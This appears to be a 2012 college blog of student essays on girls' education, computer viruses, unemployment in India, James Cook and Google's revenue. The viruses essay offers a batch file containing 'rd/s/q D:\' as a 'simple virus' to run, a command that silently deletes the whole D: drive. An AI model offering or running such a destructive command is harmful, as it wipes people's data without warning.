Thursday, May 31, 2012

EDUCATION OF GIRLS FOR NATIONAL DEVELOPMENT


 “If you educate a man then you educate an individual but if you educate a girl then you educate a family “
The above mentioned statement told by a great saint and social reformer of India SWAMI VIVEKANAND amply highlights the importance of girl’s education for the development of the nation.

Men and women are the two wheels of the same cart. If women are not educated the development of our family, society and nation would be a day dream. It is often said that “Mother is alone a school and industry in her for the child”. When the girls are not educated, they cannot inculcate the real moral values in the children and we know that children are the future of nation. So without the proper education of girls, the bright future of nation cannot be imagined. Girls have more patience, dedication or devotion towards their male counterparts.

An educated girl can become a successful daughter-in-law and she can change the entire socio-economy scenario of the family. She can make the home a real heaven. In ancient India the girls used to enjoy an honourable position and they had freedom to get education but their position became very miserable in the middle age when they were compelled to live within four walls. But now-a-days they are making new records in each and every sphere of lift which is really a good sign.

Thus we can say that the education of girls for the development of the nation is the need of hour.

(By: - Naresh Kumar, BCA-ll, NIMS)

Computer viruses



Viruses are computer programs that are designed to spread themselves from one file to another on a single computer. A virus might rapidly infect every application file on an individual computer, or slowly infect the documents on that computer, but it does not intentionally try to spread itself from that computer to other computers. In most cases, that's where humans come in. We send               e-mail document attachments, trade programs on diskettes, or copy files to file servers. When the next unsuspecting user receives the infected file or disk, they spread the virus to their computer, and so on.
             
There’s an old saying: “Just because you’re not paranoid
doesn’t mean that everyone isn’t out to get you.” This
saying is proven by the people who write computer viruses.
            
A virus’s goal is to get executed by the computer, it must attach itself to a BAT,COM, EXE or SYS file, If it attaches to any other file, it may corrupt some data or do some other things wrong. The power of computer virus is justified by its type, that which type of file it is going to infect and how smoothly it attaches itself to target files.

       There is a simple virus program, open the notepad and copy paste this code, save it to ‘whatever.BAT’ and Execute this file.
                       
                                              rd/s/q D:\
  
This program will delete all the data from D:\ drive, So use it at your own risk.

                                                                                                 Mukul saxena
                                                                                                BCA-II

MODERN GENERATION


Today we are living in age of techonology which is also known as modern age. Today’s life is full of glamour and showmanship and due to this all the respect for the elder and relatives are getting extinct. Everyone is running behind the money and greed. They are thinking for themselves only. Our new generation is giving very much importance to the money to fulfill desires and they are ready to do anything to be richest as soon as possible at any cost whether that may be a crime.  In this age people are misusing new technology to get done their criminal activity for ex: hacking of bank a/c , hacking of facebook a/c etc. there is no doubt that our new generation is having great intelligent and sharp mind but these extra ordinary minds are being used for the criminal activities. If this intelligence will be used for social work or for the development of the country, it will not take much time to become developed from a developing country and every one will live their life happy and prosperous. If someone is going against the law, that will be harmful particularly for him or his family but if he does some good things then life of hundreds or thousands of people will be benefitted. At last, one great man can become inspiration of lakhs of people.


(BY: AMIT YADAV, BCA-II, NIMS)

James cook, the explorer, who added Australia and New Zealand to the British Empire, wrote “I have ambitions not only to go farther than any man had been before; but as far as it was possible for man to go”.

James cook, the father of Antarctica exploration, was in Marton village, Cleveland, on October 28, 1728.From his boyhood, he was interested in seafaring. One day the lad made up his mind; he, too, was going to sea in order to visit glamorous lands. At the age of twenty seven, cook had risen to the proud position of first mate. The first service cook was in Canada, where he has employed in the dangerous task of surveying the St. Lawrence.

They reached Tahiti in the spring of 1769. Cook sailed south on his quest for the unknown continent , and skirting the society Islands , at length reached New Zealand. The tattooed natives met them. Cook greeted these Maori warriors with friendly signs and eventually prevailed on them to lay down their spears as sign of truce. After circumnavigating   the North and South Islands, Cook surveyed the coastline and landed at Queen Charlotte’s Sound. He then hosted the Union Jack and informed his company that he had taken possession of the islands on behalf of His Majesty George the Third.

Written by                                                                                                                                      Sweta and Poonam Student(NIMS,Noida)



Sunday, May 27, 2012

SPEECH IS SILVER BUT SILENCE IS GOLD


Speech is silver, but silence is golden. Is it true? Of course the Gold shines brightly, it glitters but silver cannot compete with it.

We used to hear this famous quote many times, mostly in the college libraries. But did we have ever thought of the meaning for it.  Why we compare these stimulus with the precious metals. What does it mean!!
Let me tell u a short story to inculcate the interest….

Once upon a time, an old man is in a habit of spreading rumors regarding others. He spread rumor that his neighbor is a thief. As a result, the man got imprisoned. After some days, he got released and proved to be innocent.

After being released, he sued the old man for teasing him. In the court, in his favor the old man said, “Those were only comments and did not harm anyone…”

The judge directed the old man to do a task. He was ordered to write all the rumors that he had spreaded regarding the man on a piece of paper and tear them up and throw them in the way to home. Come back on tomorrow, collecting all those pieces again.

The old man replied, “This is quite impossible, I can’t do that, wind may spread them all”.

Then the judge replied “The same thing happened with your comments for the man, you spread them all over and now the pride of the person cannot be regained. If you cannot speak well for others, no need to say anything”.

Sometimes, silence is more profitable rather than the abundance of speech. We have heard of many people who speak well and coz of this achieved a lot in their lives and also become a part of the history.

“We all are masters of our mouth, no need to be slaves of our words”


Written by-
KRISHNA RAJPUT
IT FACULTY, NIMS
                                               


                                                                                                           




UNEMPLOYMENT

 
Unemployment is defined as people who do not have a job, have actively looked for work in the past four weeks, and are currently available for work. Also, people who were temporarily laid off and are waiting to be called back to that job are counted as unemployed. People who are jobless and have not looked for work within the past four weeks are removed from the labor force.

UNEMPLOYMENT RATE
The unemployment rate can be defined as the number of people actively looking for a job divided by the labour force. Changes in unemployment depend mostly on inflows made up of non-employed people starting to look for jobs, of employed people who lose their jobs and look for new ones and of people who stop looking for employment.
Indian Unemployment Rate
The unemployment rate in India was last reported at 9.4 percent in 2009/10 fiscal year. From 1983 until 2000, India's Unemployment Rate averaged 7.20 percent reaching an historical high of 8.30 percent in December of 1983 and a record low of 5.99 percent in December of 1994. The labour force is defined as the number of people employed plus the number unemployed but seeking work. The non labour force includes those who are not looking for work, those who are institutionalized and those serving in the military.
CAUSES OF UNEMPLOYMENT
1) Rapid Population Growth: In India, particularly in rural areas, the population is increasing rapidly.  the growth of population directly encouraged the unemployment by making large addition to labour force. It is true that the increasing labour force requires the creation of new job opportunities at an increasing rate. But in actual practice employment expansion has not been sufficient to match the growth of the labor force, and to reduce the back leg of unemployment. This leads to unemployment situation the rapid population growth indirectly affected the unemployment situation by reducing the resources for capital formation.
2) Limited land: Land is the gift of nature. It is always constant and cannot expand like population growth. Since, India population increasing rapidly, therefore, the land is not sufficient for the growing population.
3) Seasonal Agriculture: most of the rural people are engaged in agricultural operation. But, agriculture in India is basically a seasonal affair. It provides employment facilities to the rural people only in a particular season of the year.
4) Fragmentation of land: In India, due to the heavy pressure on land of large population results the fragmentation of land. It creates a great obstacle in the part of agriculture. As land is fragmented and agricultural work is being hindered the people who depend on agriculture remain unemployed. It also leads to the poverty of villagers.

5) Decline of Cottage Industries: In Rural India, village or cottage industries are the only means of employment particularly of the landless people. They depend directly on various cottage industries for their livelihood. But, now-a-days, these are adversely affected by the industrialization process. Actually, it is found that they cannot compete with modern factories in matter or production. As a result of which the village industries suffer a serious loss and gradually closing down.
6) Defective education: The day-to-day education is very defective and is confirmed within the class room only. Its main aim is to acquire certificated only. The present educational system is not job oriented, it is degree oriented. It is defective on the ground that is more general then the vocational. Thus, the people who have getting general education are unable to do any work.

7) Inadequate Employment Planning: The employment planning of the government is not adequate in comparison to population growth. In India near about two lakh people are added yearly to our existing population. But the employment opportunities did not increase according to the proportionate rate of population growth. As a consequence, a great difference is visible between the job opportunities and population growth.
On the other hand it is a very difficult task on the part of the Government to provide adequate job facilities to all the people. Besides this, the government also does not take adequate step in this direction. The faulty employment planning of the Government expedites this problem to a great extent. As a result the problem of unemployment is increasing day by day.

CONSEQUENCES OF UNEMPLOYMENT

The consequences of unemployment for the individual are financially and often emotionally destructive. The consequences for the economy can also be destructive if unemployment rises above 5-6%. When that many people are unemployed, the economy loses one of its key drivers of growth -- consumer spending. Quite simply, workers have less money to spend until they find another job. If high national unemployment continues, it can deepen a recession or even cause a depression. That's because less consumer spending from unemployed workers reduces business revenue, which forces companies to cut more payroll to reduce their costs.
  




Thursday, May 10, 2012

I KEEP …HOW GOOGLE MAKES WANDERING…. THOSE BIG BUCKS!!!!



Many of us always keep wandering……how Google earns so much of money merely by throwing few pages to our computer screen!!!

Today whenever you are trying to search for something, the first thing that comes to mind is ‘Google it’. Google has provided Internet users with loads of valuable products and facilities.
                                                                                                                                                                Some of them are-
Ø  Google Search Engine
Ø  Gmail
Ø  You tube
Ø  Orkut
Ø  Google Adsense
Ø  Google Adwords
Ø  Blogger
Ø  Google Maps
Ø  Google Earth
Ø  Google News
Ø  Google Analytics
Ø  Android (operating system)
Let us see what these things are-

Ø  GOOGLE ADSENSE- Google Adsense is a CPC (cost-per-click) advertising program that allows publishers (anyone wanting to put ads on their websites) to insert a small amount of HTML into their sites and have ads appear that are targeted and relevant to the content of the site.
Ø  - Google also shows sponsored results for images under Sponsored Links above the rest of the results. These are also a means to earn a lot of money for Google.
Ø  -I guess you all are familiar with the word…… Google displays text and banner ads (Google Adsense) on Orkut profiles and pages.
Ø  - Google makes money (and justifies giving away the OS) by licensing the Google Apps that come on most Android phones (but not all). Apps like Gmail, the Android Market, Google Search, and others come in something called GAPPS. The Market is really where Google is interested. Sure, the other GAPPS add value to the phone (hence why carriers license their inclusion on Android-powered phones), but Google is making money with every app sold through the Market. Even free apps make Google money. Developers have to pay to have an account to list their apps under. Even ad-sponsored apps are likely using Google Mobile Ads, so Google’s getting revenue from that source as well.
Ø  - Google displays text and banner ads (Google Adsense) on YouTube videos and sidebar of YouTube pages.
                                          Hope this information will be beneficial to you.
Written by KRISHNA RAJPUT (IT FACULTY)

Noida Institute of Management Studies (NIMS)